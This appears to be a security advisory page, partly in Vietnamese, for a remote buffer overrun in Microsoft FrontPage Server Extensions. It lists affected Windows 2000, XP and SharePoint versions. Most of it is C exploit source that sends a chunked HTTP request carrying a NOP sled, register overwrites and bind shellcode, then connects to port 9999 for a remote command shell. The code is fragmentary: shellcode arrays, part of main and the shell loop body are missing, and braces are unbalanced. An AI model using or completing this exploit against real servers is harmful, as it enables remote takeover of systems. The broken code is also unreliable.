Microsoft FrontPage Server Extensions Remote Debug Buffer Overrun Vulnerability
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Phiên bản ảnh hưởng:
vulnerable Microsoft FrontPage Server Extensions 2000
+ Microsoft Windows 2000 Advanced Server
+ Microsoft Windows 2000 Advanced Server SP1
+ Microsoft Windows 2000 Advanced Server SP2
+ Microsoft Windows 2000 Advanced Server SP3
+ Microsoft Windows 2000 Datacenter Server
+ Microsoft Windows 2000 Datacenter Server SP1
+ Microsoft Windows 2000 Datacenter Server SP2
+ Microsoft Windows 2000 Datacenter Server SP3
+ Microsoft Windows 2000 Professional
+ Microsoft Windows 2000 Professional SP1
+ Microsoft Windows 2000 Professional SP2
+ Microsoft Windows 2000 Professional SP3
+ Microsoft Windows 2000 Server
+ Microsoft Windows 2000 Server SP1
+ Microsoft Windows 2000 Server SP2
+ Microsoft Windows 2000 Server SP3
+ Microsoft Windows XP Home
+ Microsoft Windows XP Home SP1
+ Microsoft Windows XP Professional
+ Microsoft Windows XP Professional SP1
Microsoft FrontPage Server Extensions 2002
Microsoft SharePoint Team Services 2002
+ Microsoft Office XP SP1
Microsoft Windows 2000 Advanced Server SP3
Microsoft Windows 2000 Advanced Server SP2
Microsoft Windows 2000 Datacenter Server SP3
Microsoft Windows 2000 Datacenter Server SP2

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};
void cmdshell (int sock);
long gimmeip(char *hostname);

targetTCP.sin_addr.s_addr = ip;
targetTCP.sin_port = htons(port);
sprintf(packet,"%sHost: %s\r\nTransfer-Encoding: chunked\r\n",header,argv[1]);
memset(data, 0x90, sizeof(data)-1);
data[sizeof(data)-1] = '\x0';
memcpy(&data[16],edi,sizeof(edi)-1);
memcpy(&data[20],ecx,sizeof(ecx)-1);
memcpy(&data[250+10],shortjmp,sizeof(shortjmp)-1);
memcpy(&data[250+14],call,sizeof(call)-1);
memcpy(&data[250+70],kyrgyz_bind_code,sizeof(kyrgyz_bind_code));
sprintf(packet,"%sContent-Length: %d\r\n\r\n%x\r\n%s\r\n0\r\n\r\n",packet,strlen(data),strlen(data),data);
if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("[x] Socket not initialized! Exiting...\n");
WSACleanup();
return 1;
}
printf("[*] Socket initialized...\n");
if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
{
printf("[*] Connection to host failed! Exiting...\n");
WSACleanup();
exit(1);
}
printf("[*] Checking for presence of fp30reg.dll...");
if (send(sockTCP, packet, strlen(packet),0) == -1)
{
printf("[x] Failed to inject packet! Exiting...\n");
WSACleanup();
return 1;

}
targetTCP.sin_family = AF_INET;
targetTCP.sin_addr.s_addr = ip;
targetTCP.sin_port = htons(9999);
if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
{
printf("\n[x] Exploit failed or there is a Firewall! Exiting...\n");
WSACleanup();
exit(1);
}
printf("\n[*] Dropping to shell...\n\n");
cmdshell(sockTCP);
return 0;
}
/*********************************************************************************/
void cmdshell (int sock)
{
struct timeval tv;
int length;
unsigned long o[2];
char buffer[1000];
tv.tv_sec = 1;
tv.tv_usec = 0;
while (1)
{
o[0] = 1;
o[1] = sock;
length = select (0, (fd_set *)&o, NULL, NULL, &tv);
if(length == 1)
{

}
}
}
}
/*********************************************************************************/
long gimmeip(char *hostname)
{
struct hostent *he;
long ipaddr;
if ((ipaddr = inet_addr(hostname)) < 0)
{
if ((he = gethostbyname(hostname)) == NULL)
{
printf("[x] Failed to resolve host: %s! Exiting...\n\n",hostname);
WSACleanup();
exit(1);
}
memcpy(&ipaddr, he->h_addr, he->h_length);
}
return ipaddr;
}
/*********************************************************************************/